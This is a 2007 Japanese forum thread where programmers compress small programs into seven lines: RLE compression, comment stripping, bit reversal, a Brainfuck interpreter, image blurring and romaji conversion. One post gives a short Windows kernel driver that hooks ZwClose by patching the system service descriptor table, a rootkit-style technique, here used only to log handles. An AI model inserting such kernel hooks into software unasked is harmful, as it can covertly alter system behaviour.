typedef unsigned char y;unsigned char b[B];int e(FILE *fp,y *i,int m){int r,c;
int x;x=0;while(x<m) {x=g(i,x,m,0xff,&r,&c);fputc(r,fp);fputc(c,fp);}return 0;}
int g(y *i,int x,int m,int l,int *r,int *c){int p;p=x;*r=1;*c=i[p];p++;
while(p<m && *c==i[p] && *r<l ) {p++;(*r)++;}return p;}int main(char *a[]){
FILE *_i,*_o;int i,c;_i=fopen(a[1],"rb");i=0;while(i<B && (c=fgetc(_i))!=EOF) {
b[i]=c;i++;}fclose(_i);_o=fopen(a[2],"wb");e(_o,b,i);fclose(_o);}

>>405作った初心者ですが
ハフマン法圧縮なんですけど作ってみました
どうしてもあと1行減らす方法が思いつかないんですけどどうしたらいいと思いますか?
目が潰れそうです
410 :デフォルトの名無しさん :2007/05/06(日) 19:34:09
普通のプログラミングのときの習慣を忘れればいろいろ短くなる気が
411 :デフォルトの名無しさん :2007/05/06(日) 19:40:00
B を const にすりゃ いけるんじゃないの?
412 :デフォルトの名無しさん :2007/05/06(日) 20:10:04
#include<stdio.h>
typedef unsigned char y;unsigned char b[102400];int e(FILE *fp,y *i,int m){
int r,c;int x;x=0;while(x<m) {x=g(i,x,m,0xff,&r,&c);fputc(r,fp);fputc(c,fp);}
return 0;}int g(y *i,int x,int m,int l,int *r,int *c){int p;p=x;*r=1;*c=i[p];
p++;while(p<m && *c==i[p] && *r<l ) {p++;(*r)++;}return p;}int main(char *a[])
{FILE *x,*z;int i,c;x=fopen(a[1],"rb");i=0;while(i<102400 && (c=fgetc(x))!=EOF) {
b[i]=c;i++;}fclose(x);z=fopen(a[2],"wb");e(z,b,i);fclose(z);}

ちょっと短くなりました
413 :デフォルトの名無しさん :2007/05/06(日) 20:29:25
先ほどの>>409>>405ではなく>>404でした
414 :デフォルトの名無しさん :2007/05/06(日) 20:42:39
#include<stdio.h>
int d(FILE *fp){int i;int r,c;while(!feof(fp)) {r=fgetc(fp);c=fgetc(fp);
for(i=0;i<r;i++){fputc(c,stdout);}}return 0;}int main(int ac,char *av[]){
FILE *fp;if ((fp = fopen(av[1],"rb"))==NULL)return 6;d(fp);fclose(fp);return 0;}

解凍は4行でできました。
415 :デフォルトの名無しさん :2007/05/06(日) 21:00:21
#pragma warning(push, 0)
#include <ntddk.h>
typedef struct{PVOID*s;}SDT;extern SDT*KeServiceDescriptorTable;ULONG F(void*f)
{return(*(ULONG*)((UCHAR*)f+1));}void*I(void*f){return InterlockedExchange(
KeServiceDescriptorTable->s+F(ZwClose),f);}long(NTAPI*O)(void*);long NTAPI N(
void*h){DbgPrint("0x%08X",h);return O(h);}void U(PDRIVER_OBJECT d){I(O);}long
DriverEntry(DRIVER_OBJECT*d,UNICODE_STRING*r){d->DriverUnload=U;O=I(N);return 0;}

機能はそのままでZwCloseにした。意外と削れた。最後の行が82文字orz アタマイタイ
416 :デフォルトの名無しさん :2007/05/06(日) 21:12:22
というか標準入出力にすればいいんでないかい?
417 :デフォルトの名無しさん :2007/05/06(日) 23:02:19
>>409
・1度しか呼ばれない関数は定義しない
 eもgもmainに展開する
・代入で無く初期化を使う
 int x;x=0;→int x=0;
・なるべくライブラリを使う
 freadとか
・whileよりforを使う
・繰り返しは1行になるようにする
・不要なスペース、変数、typedefを削る

これで随分削れると思う
ところでハフマン符号じゃなくてランレングスだよね
418 :デフォルトの名無しさん :2007/05/07(月) 00:23:37
>>417
アドバイスありがとうございます
挑戦してみます
419 :デフォルトの名無しさん :2007/05/07(月) 03:33:22
>>412
mainの仮引数ってそんなんで大丈夫なのか?

更に短くするコツとしては、
* 関数の戻り値の型が int の時は省略する。
* 仮引数に int がある場合は、K&R式の宣言を使うと短くなる場合がある。
例えば2引数のmainなら、main(c,v)char**v{} とするのが一番短い。
420 :デフォルトの名無しさん :2007/05/07(月) 03:35:04
どうせすぐ終了するんだし、fcloseなんかしない、っていう手もあるなw
421 :デフォルトの名無しさん :2007/05/07(月) 04:44:26
こんなんでいいんじゃないか?

#include<stdio.h>
main(c,a)char**a;{FILE*i=fopen(a[1],"rb"),*o=fopen(a[2],"wb");while((c=getc(i))
!=EOF){int x=1,d;while((d=getc(i))==c&&x++<255);ungetc(d,i);putc(x,o);putc(c,o)
;}fclose(o);fclose(i);return 0;}
422 :デフォルトの名無しさん :2007/05/07(月) 06:38:51
>>421
すごいっすねw
423 :デフォルトの名無しさん :2007/05/07(月) 21:11:00
>>420
mainからreturnかexitで終了するかしたらプログラムが終了する前に閉じられてないストリームは閉じられるはず。
424 :デフォルトの名無しさん :2007/05/07(月) 22:12:53
すみません
ランレングスでした
425 :デフォルトの名無しさん :2007/05/08(火) 17:57:09
誰かお題ちょーらい
426 :デフォルトの名無しさん :2007/05/08(火) 19:10:47
viみたいな簡易エディタがほしいな
427 :デフォルトの名無しさん :2007/05/08(火) 20:02:38
http://www.itmedia.co.jp/news/articles/0609/06/news107.html
お題
ナンプレ自動作成ソフト
428 :デフォルトの名無しさん :2007/05/08(火) 20:13:47
>>427
http://www.timedia.co.jp/news/event/884464213/numplace20060906.pdf
これよめ
くず
429 :デフォルトの名無しさん :2007/05/08(火) 22:52:28
>>428
結局その最後の解き味を判定する評価関数がすべてだよなあ
430 :デフォルトの名無しさん :2007/05/08(火) 23:56:02
作成より前に解くほうってもう出てたっけ? 7行で。
7行じゃなけりゃそんなに難しいお題じゃないけど。
431 :デフォルトの名無しさん :2007/05/09(水) 02:36:40
枝刈りなしのバックトラックなら7行で書けたが、
答えが出ないからあってるのかわからん・・・
432 :デフォルトの名無しさん :2007/05/12(土) 17:48:24
計算で出せばよくね?

一定の時間のクリック数/一定の期間にクリックできる最大数
433 :デフォルトの名無しさん :2007/05/12(土) 17:50:06
誤爆かね
434 :デフォルトの名無しさん :2007/05/12(土) 17:51:03
ばれたかねww
435 :デフォルトの名無しさん :2007/05/13(日) 01:12:28
まさか>>429へのレスのつもりじゃなかろうなと心配した
436 :デフォルトの名無しさん :2007/05/13(日) 10:24:33
「結局その最後の解き味を判定する評価関数がすべてだよなあ」


「計算で出せばよくね?
一定の時間のクリック数/一定の期間にクリックできる最大数」


考えただけでわらっちゃう

誤爆してすみませんでした。
437 :デフォルトの名無しさん :2007/05/30(水) 23:58:22
保守
438 :デフォルトの名無しさん :2007/06/25(月) 23:29:07
CやC++のコメントを除去するプログラムって過去に上がってたっけ?
439 :デフォルトの名無しさん :2007/06/27(水) 02:14:02
Perlで作ればいいだろう
440 :デフォルトの名無しさん :2007/06/27(水) 16:09:05

/* hogehoge /* fugafuga */ hagehage */

こんな風なコメントのときどう処理すればいいですか?
441 :デフォルトの名無しさん :2007/06/27(水) 20:50:44
>>440
手動
442 :デフォルトの名無しさん :2007/06/27(水) 20:57:52
コメントの中なに書いても良いんだから

/* hogehoge /* fugafuga hagehage */

/* hogehoge fugafuga */ hagehage */

なんかもあり
443 :デフォルトの名無しさん :2007/06/27(水) 21:33:13
>>442
>なんかもあり

上の例は全部コメントだからありだけど、下の例はダメだよ。

だから >>440
hagehage */
が残るのがコメント除去ツールとしては正しい処理だね。

もちろん /* から */ までと言っても、
\/* asdf */ みたいにエスケープされていたら、それはコメントにならない。

コメント閉じをエスケープするには /* *\/ と書く。

というわけで /* \*/ は正しいコメントだ。
444 :デフォルトの名無しさん :2007/06/27(水) 21:42:53
>>443は書き方間違った
>コメント閉じをエスケープするには /* *\/ と書く。
フツーはこう書くけど、これ、別にエスケープじゃないね。
ごめん。
445 :デフォルトの名無しさん :2007/07/04(水) 00:58:13
VCじゃネストコメント文だめっぽいな
Dならイイらしいが
446 :デフォルトの名無しさん :2007/07/04(水) 02:18:22
>>438ですが、
少しでも役に立つものがあれば…と思ったのですが、
7行の題材としてはあまり面白くなかったですかね。
頑張れば5行くらいで書けるでしょうし。

いい題材が浮かびません…。
447 :デフォルトの名無しさん :2007/07/04(水) 03:47:17
>>445
コメントのネストは伝統的にないことになってるはず。
>>446
5行で書く方法を思いつかない…orz

こんなコメントとか
/* printf("*/ \"\\"); */
Shift JISの2バイト目をきちんと処理できるように書くには7行じゃ足りない気がするんだけど…。

448 :デフォルトの名無しさん :2007/07/04(水) 23:04:50
>>447
ヒント:7行でありさえすればいい
449 :デフォルトの名無しさん :2007/07/05(木) 00:09:34
>>447
>/* printf("*/ \"\\"); */
これは、コメント削除処理した結果が
\"\\"); */
になればいいんですよね?

Shift JISの2バイト目をきちんと処理できるかどうかを検証する文字列って
どんなのなのでしょうか?
450 :デフォルトの名無しさん :2007/07/05(木) 08:38:24
>>449
> Shift JISの2バイト目をきちんと処理できるかどうかを検証する文字列って
ソ/* */
とか?
451 :デフォルトの名無しさん :2007/07/05(木) 08:43:43
ちょっと違うな。こういうのか?
printf("ソ");/* */
452 :デフォルトの名無しさん :2007/07/05(木) 10:04:12
こんなかんじで。
#include <stdio.h>
int main(int, char *[]) {
  printf("表");/* ");/* */
  return 0;
}

というか、別に入力文字コードはUTF-8限定でもいいと思うんだけど。
453 :デフォルトの名無しさん :2007/07/05(木) 11:18:18
(^ω^;) (*ノ *)ノ
454 :デフォルトの名無しさん :2007/07/05(木) 17:15:43
n869 にこんな例があるな。

m = n//**/o
+ p;

m = n + p;
455 :デフォルトの名無しさん :2007/07/05(木) 17:34:54
> \/* asdf */ みたいにエスケープされていたら、それはコメントにならない。

ダウト。\/ というシーケンスは規格では定義されていない。
456 :デフォルトの名無しさん :2007/07/05(木) 18:49:59
>>455>>443=444並のあわてんぼさん。
457 :デフォルトの名無しさん :2007/07/06(金) 00:18:02
>>414のランレングス解凍、3行になったぞ。
#include<stdio.h>
d(FILE*q){int r,c;if(!q)return 6;while((r=fgetc(q))+1)for(c=fgetc(q);putchar
(c),--r;);fclose(q);return 0;}main(int c,char**a){return d(fopen(a[1],"rb"));}
458 :デフォルトの名無しさん :2007/07/06(金) 00:59:33
#include <stdio.h>
main(c,a)char**a;{int r;FILE*q=fopen(a[1],"rb");if(!q)return 6;while((r=getc(q)
)-EOF)for(c=getc(q);putchar(c),--r;);fclose(q);return 0;}

dをインライン展開してみた。
459 :デフォルトの名無しさん :2007/07/06(金) 01:01:58
言い出しっぺの>>438です。
EUCとSHIFT_JISならそれなりに処理してくれたようなのでアップします。
第一引数のファイルのコメントを除去して、標準出力に出力します。

ただし、SHIFT_JISで半角カナがあるとダメなのですが、
どうやって判別すればいいかが分かっていないので、ちょっと悩んでおります。

#include <stdio.h> /* uncomment.c */
e,m,t;main(c,v)char**v;{FILE*f=fopen(v[1],"r");for(;(c=fgetc(f))+1;m>2?m%=5:
putchar(c))e?e--:(m=c-10?c-39?c-34?c-47?c-42?c<128?c-92?m:m>2?m:e++,m:e++,m:
m-3?m:(t=fgetc(f),t-47?ungetc(t,f),m:5):m?m:(t=fgetc(f),t-47?t-42?ungetc(t,f
),m:3:4):m&5?m:!m*2:m>1?m:!m:m%4);return fclose(f),0;}

460 :デフォルトの名無しさん :2007/07/06(金) 01:16:35
>>457
乙w
461 :デフォルトの名無しさん :2007/07/06(金) 01:17:21
久々にレスが多いなw
462 :デフォルトの名無しさん :2007/07/06(金) 01:48:49
>>459
最初からワイド文字では駄目ですか?
463 :デフォルトの名無しさん :2007/07/06(金) 02:00:33
最初からワイド文字とはどういう意味ですか?
464 :デフォルトの名無しさん :2007/07/06(金) 02:18:04
入出力は全部wchar_tで行って、エンコーディングには関知しないという意味です。
465 :デフォルトの名無しさん :2007/07/06(金) 09:42:29
2進数のビットの左右の反転ってどのくらい短く書ける?
unsigned int a を左右反転させて b にっ ka
466 :デフォルトの名無しさん :2007/07/06(金) 10:57:35
>>465
関数だけどやってみた。b = R(a);

typedef unsigned U;U R(U a){int c=0,s,t;U n,h,l;for(n=~0;n>>=1;c++);
for(s=c;s>c>>1;s--){h=a&1<<s;l=a&1<<c-s;t=s*2-c;a^=h^h>>t^l^l<<t;}
return a;}
467 :466 :2007/07/06(金) 11:01:36
typedef unsigned U;U R(U a){int c=0,s,t;U n,h,l;for(n=~0;n>>=1;c++);
for(s=t=c;s>c>>1;s--,t-=2){h=a&1<<s;l=a&1<<c-s;a^=h^h>>t^l^l<<t;}
return a;}

1文字縮め('A`)
468 :466 :2007/07/06(金) 11:08:31
何度もすまんが色々間違っていた気がしてきた
何でわざわざ同じ変数内で入れ換えてるんだ俺…
469 :デフォルトの名無しさん :2007/07/06(金) 13:08:37
typedef unsigned U;U R(U a){U b=0,n=~(U)0,i=0;for(;n>>=1;++i)b|=((a>>i)&1)<<(n-i
);return b;}

もう少し短くなりそうだが
470 :デフォルトの名無しさん :2007/07/06(金) 13:14:15
typedef unsigned U;U R(U a){U b=0,n=~b,i=0;for(;n>>=1;++i)b|=(a>>i&1)<<(n-i);r\
eturn b;}

とりあえずここまで。
471 :デフォルトの名無しさん :2007/07/06(金) 13:18:28
久しぶりだな
スレがあるのw
472 :デフォルトの名無しさん :2007/07/06(金) 13:20:42
スレはずっとあるよ。なくならないよ。
473 :デフォルトの名無しさん :2007/07/06(金) 13:21:26
>>472
すまね
誤爆したw

レス
474 :デフォルトの名無しさん :2007/07/06(金) 13:28:51

  ( ゚д゚)      「誤爆」
_(__つ/ ̄ ̄ ̄/_ 
  \/    /
     ̄ ̄ ̄
 
  ( ゚д゚ )
_(__つ/ ̄ ̄ ̄/_ 
  \/    /
     ̄ ̄ ̄

  ( ゚д゚)
_(__つ/ ̄ ̄ ̄/_ 
  \/    /
     ̄ ̄ ̄

  ( ゚д゚ )
_(__つ/ ̄ ̄ ̄/_ 
  \/    /
475 :デフォルトの名無しさん :2007/07/06(金) 13:30:18
>>474
七行でよろw
476 :465 :2007/07/06(金) 13:34:46
自分でもやってみた
typedef unsigned U;U R(U a){U b=0,i=1;for(;i;i*=2)b=b*2+!!(a&i);return b;}
iが邪魔だね・・・消せないかなぁ
477 :デフォルトの名無しさん :2007/07/06(金) 13:39:01
>>475
int printf(const char*format,...);char*a="  (%s゚д゚%s)%s\n_(__つ/ ̄ ̄ ̄/_\
\n  \/    /\n     ̄ ̄ ̄\n\n",*s=" ",*e="";main(){printf(a,s,e," \
   「誤爆」");printf(a,e,s,e);printf(a,s,e,e);printf(a,e,e,e);return 0;}
478 :デフォルトの名無しさん :2007/07/06(金) 13:43:04
#include<stdio.h>
printf("  ( ゚д゚)      「誤爆」\n_(__つ/ ̄ ̄ ̄/_ \n  \/    /\n     ̄ ̄ ̄ 
  ( ゚д゚ )\n_(__つ/ ̄ ̄ ̄/_ \n  \/    /\n     ̄ ̄ ̄\n  ( ゚д゚)\n_(__つ/ ̄ ̄ ̄/_ 
  \/    /\n  ( ゚д゚ )\n_(__つ/ ̄ ̄ ̄/_ \n  \/    /");
479 :デフォルトの名無しさん :2007/07/07(土) 01:29:49
>>470
typedef unsigned u;u r(u n){u i=~0,a=0;for(;i;i/=2,a=n%2+a*2,n/=2);return a;}
一行切った。
480 :デフォルトの名無しさん :2007/07/07(土) 01:31:44
>>476の方が短かった……orz
481 :デフォルトの名無しさん :2007/07/07(土) 01:34:25
~0 と ~0u のビット表現って必ず等しい?
482 :デフォルトの名無しさん :2007/07/07(土) 02:17:28
手元に環境がないからテストしてないんだけどこんなんじゃだめ?

typedef unsigned u;u r(u n){return u?(n&1?~0-~0/2:0)+r(n/2)/2:0;}

65字
483 :476 :2007/07/07(土) 02:26:17
>>481
ありがとう。これでもうまくいったみたい。
R(int a){int b=0,i=1;for(;i;i*=2)b=b*2+!!(a&i);return b;}

アルゴリズムに致命的な問題がある気がする
484 :デフォルトの名無しさん :2007/07/07(土) 03:25:52
R(a){int b=0,i=1;for(;i;i*=2)b+=b+!!(a&i);return b;}
R(a){int b=0,i=1;while(b+=b+!!(a&i),i*=2);return b;}

どっちも52文字
でも for文の方が わかりやすさを維持しててイイカナ
485 :デフォルトの名無しさん :2007/07/07(土) 03:44:19
int を for の最初の項に入れると一文字減る
486 :デフォルトの名無しさん :2007/07/07(土) 03:45:04
ごめん>>485は勘違い
487 :デフォルトの名無しさん :2007/07/07(土) 03:52:44
brainfuckのインタプリタを作ってみた。

#include <stdio.h>
unsigned char M[30000],*m=M;char P[30000],*p=P;R(c){for(;c&&p>=P;*--p==']'?c++:
*p=='['&&c--);}main(i,v)char**v;{FILE*f;for(i=30000;i;M[--i]=0);if(f=fopen(v[1]
,"rt")){while(1+(*p++=getc(f)));p=P-1;while(1+*++p)*p=='>'?*++m:*p=='<'?*--m:*p
=='+'?++*m:*p=='-'?--*m:*p=='.'?putchar(*m):*p==','?*m=getchar():*p==']'&&*m&&R
(1);}}
488 : ◆iicafiaxus :2007/07/07(土) 04:29:11
なんか34文字でできたっぽい
dmcでテストした

r(n){return n?r(n*2)*2+!!(n<0):0;}
489 :デフォルトの名無しさん :2007/07/07(土) 04:57:53
!!いらなくね?
490 :デフォルトの名無しさん :2007/07/07(土) 05:01:18
あーほんとだ、そりゃそうだ
32だね
491 :デフォルトの名無しさん :2007/07/07(土) 05:08:40
やっぱ引数だけで済ますと格段に短くなるなぁ
どうしても思いつかなかった
492 :デフォルトの名無しさん :2007/07/07(土) 05:24:11
やっぱ再帰は強いね

これで30
r(n){return n?r(n*2)*2|n<0:0;}
493 :デフォルトの名無しさん :2007/07/09(月) 12:47:17
ネタ振られたら物凄い勢いで加速して、
最短解っぽいのが出たら急に失速するんだなw
494 :デフォルトの名無しさん :2007/07/09(月) 16:21:29
ワロタ
495 :デフォルトの名無しさん :2007/07/09(月) 23:34:47
それがこのスレのいいところさ
496 :デフォルトの名無しさん :2007/07/10(火) 00:36:20
>>464
なんかそれだと上手くいったりするんでしょうね。

でも僕はやっぱりワイド文字の扱いが良く分かっていないので、
もしよければワイド文字処理版を作ってみてくださいな。
497 :デフォルトの名無しさん :2007/07/10(火) 02:01:23
なんだかなぁ
498 :デフォルトの名無しさん :2007/07/10(火) 17:42:56
using System;using System.Drawing;class P{static void Main(string[]a){Bitmap
m=new Bitmap(a[0]);int o,p,q,r,g,b,t,l,z=int.Parse(a[2]),w,h=0,W=m.Width,H=m.
Height;Bitmap v=new Bitmap(W,H);Color c;for(;h<H;h++)for(w=0;w<W;w++){p=r=g=b=
0;for(t=-z;t<2;t++)if((o=h+t)>0&&o<H)for(l=-z;l<2;l++)if((q=w+l)>0&&q<W){c=m.
GetPixel(q,o);r+=c.R;g+=c.G;b+=c.B;p++;}v.SetPixel(w,h,Color.FromArgb(r/p,g/p,
b/p));}v.Save(a[1]);}}

画像ぼかし。
これならマスク使える…?
499 :498 :2007/07/10(火) 19:23:38
using System;using System.Drawing;class P{static void Main(string[]a){Bitmap m
=new Bitmap(a[0]);int o,p,q,r,g,b,t,l,z=int.Parse(a[2]),w,h=0,W=m.Width,H=m.
Height;Bitmap v=new Bitmap(W,H);Color c;for(;h<H;h++)for(w=0;w<W;w++){p=r=g=b=
0;for(t=-z;t<z;t++)if((o=h+t)>-1&&o<H)for(l=-z;l<z;l++)if((q=w+l)>-1&&q<W){c=m
.GetPixel(q,o);r+=c.R;g+=c.G;b+=c.B;p++;}v.SetPixel(w,h,Color.FromArgb(r/p,g/p
,b/p));}v.Save(a[1]);}}

範囲が-指定値から2までになってたのを修正 orz

using System;using System.Drawing;using System.Drawing.Imaging;using System.
Runtime.InteropServices;class P{static void Main(string[]a){Bitmap m=new 
Bitmap(a[0]);int o,p,q,r,g,b,t,l,z=int.Parse(a[2]),w,h=0,W=m.Width,H=m.Height,
y=W*H*3,e;byte[]src,dst;src=dst=new byte[y];BitmapData d=m.LockBits(new 
Rectangle(0,0,W,H),ImageLockMode.ReadWrite,PixelFormat.Format24bppRgb);e=d.
Stride;Marshal.Copy(d.Scan0,src,0,y);for(;h<H;h++)for(w=0;w<W;w++){p=r=g=b=0;
for (t=-z;t<z;t++)if((o=h+t)>-1&&o<H)for(l=-z;l<z;l++)if((q=w+l)>-1&&q<W){
r+=src[o*e+q*3];g+=src[o*e+q*3+1];b+=src[o*e+q*3+2];p++;}dst[h*e+w*3]=(byte)(
r/p);dst[h*e+w*3+1]=(byte)(g/p);dst[h*e+w*3+2]=(byte)(b/p);}Marshal.Copy(dst,
0,d.Scan0,y);m.UnlockBits(d);m.Save(a[1]);}}

高速化版。誰か短くして orz
500 :デフォルトの名無しさん :2007/07/11(水) 00:07:15
総和テーブルでいいじゃんか
501 :デフォルトの名無しさん :2007/07/11(水) 08:57:14
そうわ思わないな
502 :デフォルトの名無しさん :2007/07/12(木) 02:21:33
CPU対戦の七行すごろくを考えてみたんだが、
動作確認テストをやっている最中に虚しくなってやめた。

ゲームって難しいなぁ。
503 :デフォルトの名無しさん :2007/07/13(金) 00:56:21
>>1 を見てたんだけど、
part4って297レスしかつかなかったの?
504 :デフォルトの名無しさん :2007/07/13(金) 00:58:33
>>40にあった。ごめん。
505 :デフォルトの名無しさん :2007/07/15(日) 13:11:08
自動生成の迷路ゲーム…なんて無理か。
506 :デフォルトの名無しさん :2007/07/15(日) 19:06:02
迷路を作るだけなら前あったかも
507 :デフォルトの名無しさん :2007/07/15(日) 22:41:39
Javaの3Dな迷路があったと思ふ
508 :6 :2007/07/16(月) 01:29:02
交点の座標を詳しく求めてる

俺工房だから間違えてるのかもしれない
509 :デフォルトの名無しさん :2007/07/16(月) 01:58:27
#include <stdio.h>
double s(double c){double x;int i,n;n = 10;x = 0;do {x += 1;} while (x * x < c);
for (i = 0;i < n;i++) {x = (x + c / x)/2;}return x;}int main(){double c;int a;
scanf("%d", &a);c = s(a);printf("√は%lfです。\n", c);return 0;}



ニュートン法を使ったあれです。
いじくってやってください。
510 :デフォルトの名無しさん :2007/07/16(月) 21:05:29
1.空白はつめる
2.初期化と代入は一緒に
3.+=1は++に
でだいぶ短くなる予感。
ニュートン法とやらがあってるんかは知らんけどw
511 :デフォルトの名無しさん :2007/07/16(月) 21:27:20
int printf(const char*,...);int scanf(const char*,...);main(){int c,n=10;double
x=0;scanf("%d",&c);do x++;while(x*x<c);while(--n)x=(x+c/x)/2;printf("sqrt(%d)=\
%f\n",c,x);return 0;}
512 :デフォルトの名無しさん :2007/07/16(月) 23:12:42
typedef int f(const char*,...);f printf,scanf;double c,x,n=10;main(){for(scan\
f("%lf",&c);x*x<c;)++x;for(;n--;x/=2)x+=c/x;return!printf("√は%fです。\n",x);}
513 :デフォルトの名無しさん :2007/07/22(日) 20:17:55
>++++++++++[>+>+++>++++++++++++[<]>-]> > >++++........<<+++.---.> >..<++..
..>...<<+++.---.> >..<....>...<..................>..<.............>...<.................>..<<+++.---.>
>.......<...>..<..>..<..>.....<..................>..<............>.....<..>..<..>..<<+++.---.> >..<..
..>..<..>....<...>..<...>..<...>..<.>..<.>....<..>......<.>..<...>..<.>..<...>..<.>..<.>..<<++
+.---.> >..<.....>..<.>..<......>......<...>..<.>...<...>..<...>..<...>..<...>..<.>..<......>...<<
+++.---.> >..<....>...<.>..<.....>..<...>..<...>..<.>..<....>..<...>..<...>..<...>..<.>..<...>..
<.>..<.>..<<+++.---.> >........<..>..<......>....<.>...<.>..<.>..<....>..<...>..<....>.....<...>.....<..>..<...>..
514 :デフォルトの名無しさん :2007/07/30(月) 13:01:28
>>513
なんのプログラム?
515 :デフォルトの名無しさん :2007/07/30(月) 13:02:57
標準出力にBrainfuckと読める絵を出力するプログラム。
516 :デフォルトの名無しさん :2007/07/30(月) 13:03:45
>>515
言語は何なのかおせーて
517 :デフォルトの名無しさん :2007/07/30(月) 13:04:23
Brainfuck
518 :デフォルトの名無しさん :2007/07/30(月) 13:08:58
なにこれおもすれw

+++++++++[>++++++++>+++++++++++>+++++<<<-]>.>++.+++++++..+++.>-.
------------.<++++++++.--------.+++.------.--------.>+.
519 :デフォルトの名無しさん :2007/07/30(月) 21:50:24
ローマ字をSJIS半角カタカナに変換する、そんな関数があると聞き
やってまいりました。
ヘボン式訓令式どちらもサポートすると
おそらく300バイト程度の関数になるでしょうか?
520 :デフォルトの名無しさん :2007/07/30(月) 22:40:25 <:360093863>?S★(511223)
「aiueo」のローマ字半角カナ変換して表示。
●ローマ字半角カナ変換(Sの|Sを)
 A=(「shi|chi|tsu|fu|wi|wu|we|ji|kya|kyu|kyo|sya|syu|syo|tya|tyu|tyo|nya|nyu|nyo|hya|hyu|hyo|mya|myu|myo|rya|ryu|
ryo|gya|gyu|gyo|zya|zyu|zyo|bya|byu|byo|pya|pyu|pyo|sha|shu|sho|cha|chu|cho|ja|ju|jo|ka|ki|ku|ke|ko|sa|si|su|se|so|
ta|ti|tu|te|to|na|ni|nu|ne|no|ha|hi|hu|he|ho|ma|mi|mu|me|mo|ya|yu|yo|ra|ri|ru|re|ro|wa|wo|ga|gi|gu|ge|go|za|zi|zu|ze|
zo|da|di|du|de|do|ba|bi|bu|be|bo|pa|pi|pu|pe|po|nn|n|a|i|u|e|o」の改行を空に置換)を"|"で区切る。
 B=(「シ|チ|ツ|フ|ウィ|ウ|ウェ|ジ|キャ|キュ|キョ|シャ|シュ|ショ|チャ|チュ|チョ|ニャ|ニュ|ニョ|ヒャ|ヒュ|ヒョ|ミャ|ミュ|ミョ|リャ|リュ|リョ|ギャ|ギュ|ギョ|ジャ|ジュ|ジョ|ビャ|
ビュ|ビョ|ピャ|ピュ|ピョ|シャ|シュ|ショ|チャ|チュ|チョ|ジャ|ジュ|ジョ|カ|キ|ク|ケ|コ|サ|シ|ス|セ|ソ|タ|チ|ツ|テ|ト|ナ|ニ|ヌ|ネ|ノ|ハ|ヒ|フ|ヘ|ホ|マ|ミ|ム|メ|モ|ヤ|ユ|ヨ|ラ|
リ|ル|レ|ロ|ワ|ヲ|ガ|ギ|グ|ゲ|ゴ|ザ|ジ|ズ|ゼ|ゾ|ダ|ヂ|ヅ|デ|ド|バ|ビ|ブ|ベ|ボ|パ|ピ|プ|ペ|ポ|ン|ン|ア|イ|ウ|エ|オ」の改行を空に置換)を"|"で区切る。
 Aで反復、S=Sの対象をB[回数-1]に置換。
 Sで戻る。

誰か短くしてくれ
521 :デフォルトの名無しさん :2007/07/30(月) 22:48:23
ye/イェ とか dhu/デュ とかあるんだよ?
522 :デフォルトの名無しさん :2007/07/30(月) 22:55:52 <:980255377>?S★(511223)
「ローマ字」のwiki見て書いたから忘れてたすまんorz
523 :デフォルトの名無しさん :2007/07/31(火) 00:25:27
wyi,wyeって半角カタカナないんだな。
524 :デフォルトの名無しさん :2007/07/31(火) 03:37:18
ローマ字変換、正攻法で攻めたらJavaScriptで18行になってしまた…
スレに貼れないし。鬱だ氏のうorz
525 :デフォルトの名無しさん :2007/07/31(火) 08:02:16
>>520
それって擬似コード?それともなでしこ?
526 :デフォルトの名無しさん :2007/07/31(火) 14:31:21 <:480125838>?S★(511224)
なでしこですよ
正攻法がどんなんかわからん・・・この方法じゃこれ以上削れそうにないし・・・
527 :デフォルトの名無しさん :2007/07/31(火) 14:57:44
>>526
トェェイがうまく変換できません・・・
528 :デフォルトの名無しさん :2007/07/31(火) 15:01:03
アッー
529 :デフォルトの名無しさん :2007/07/31(火) 16:32:24 <:120031823>?S★(511224)
「kyouhasuunennburinidaigakuniittekoyoutoomoimasutoleleia-ltu」をローマ字半角カナ変換して言う。
//キョウハスウネンブリニダイガクニイッテコヨウトオモイマストェェイアーッ
●ローマ字半角カナ変換(Sの|Sを)
 A=(「-|ltu|xtu|la|li|lu|le|lo|xa|xi|xu|xe|xo|bb|cc|dd|ff|gg|hh|jj|kk|ll|mm|pp|qq|rr|ss|tt|vv|ww|xx|yy|zz|ye|dhu|shi|chi|tsu|
fu|wi|wu|we|ji|kya|kyu|kyo|sya|syu|syo|tya|tyu|tyo|nya|nyu|nyo|hya|hyu|hyo|mya|myu|myo|rya|ryu|ryo|gya|gyu|gyo|zya|
zyu|zyo|bya|byu|byo|pya|pyu|pyo|sha|shu|sho|cha|chu|cho|ja|ju|jo|ka|ki|ku|ke|ko|sa|si|su|se|so|ta|ti|tu|te|to|na|ni|nu|ne|
no|ha|hi|hu|he|ho|ma|mi|mu|me|mo|ya|yu|yo|ra|ri|ru|re|ro|wa|wo|ga|gi|gu|ge|go|za|zi|zu|ze|zo|da|di|du|de|do|ba|bi|bu|be|
bo|pa|pi|pu|pe|po|nn|n|a|i|u|e|o」の改行を空に置換)を"|"で区切る。
 B=(「ー|ッ|ッ|ァ|ィ|ゥ|ェ|ォ|ァ|ィ|ゥ|ェ|ォ|ッb|ッc|ッd|ッf|ッg|ッh|ッj|ッk|ッl|ッm|ッp|ッq|ッr|ッs|ッt|ッv|ッw|ッx|ッy|ッz|イェ|デュ|シ|チ|ツ|フ|ウィ|ウ|ウェ|ジ|キャ|
キュ|キョ|シャ|シュ|ショ|チャ|チュ|チョ|ニャ|ニュ|ニョ|ヒャ|ヒュ|ヒョ|ミャ|ミュ|ミョ|リャ|リュ|リョ|ギャ|ギュ|ギョ|ジャ|ジュ|ジョ|ビャ|ビュ|ビョ|ピャ|ピュ|ピョ|シャ|シュ|ショ|
チャ|チュ|チョ|ジャ|ジュ|ジョ|カ|キ|ク|ケ|コ|サ|シ|ス|セ|ソ|タ|チ|ツ|テ|ト|ナ|ニ|ヌ|ネ|ノ|ハ|ヒ|フ|ヘ|ホ|マ|ミ|ム|メ|モ|ヤ|ユ|ヨ|ラ|リ|ル|レ|ロ|ワ|ヲ|ガ|ギ|グ|ゲ|ゴ|
ザ|ジ|ズ|ゼ|ゾ|ダ|ヂ|ヅ|デ|ド|バ|ビ|ブ|ベ|ボ|パ|ピ|プ|ペ|ポ|ン|ン|ア|イ|ウ|エ|オ」の改行を空に置換)を"|"で区切る。
 Aで反復、S=Sの対象をB[回数-1]に置換。
 Sで戻る。


:::::::::::.: .:. . ∧_∧ . . . .: ::::::::
:::::::: :.: . . /彡ミ゛ヽ;)ヽ、. ::: : ::
::::::: :.: . . / :::/:: ヽ、ヽ、i . .:: :.: :::
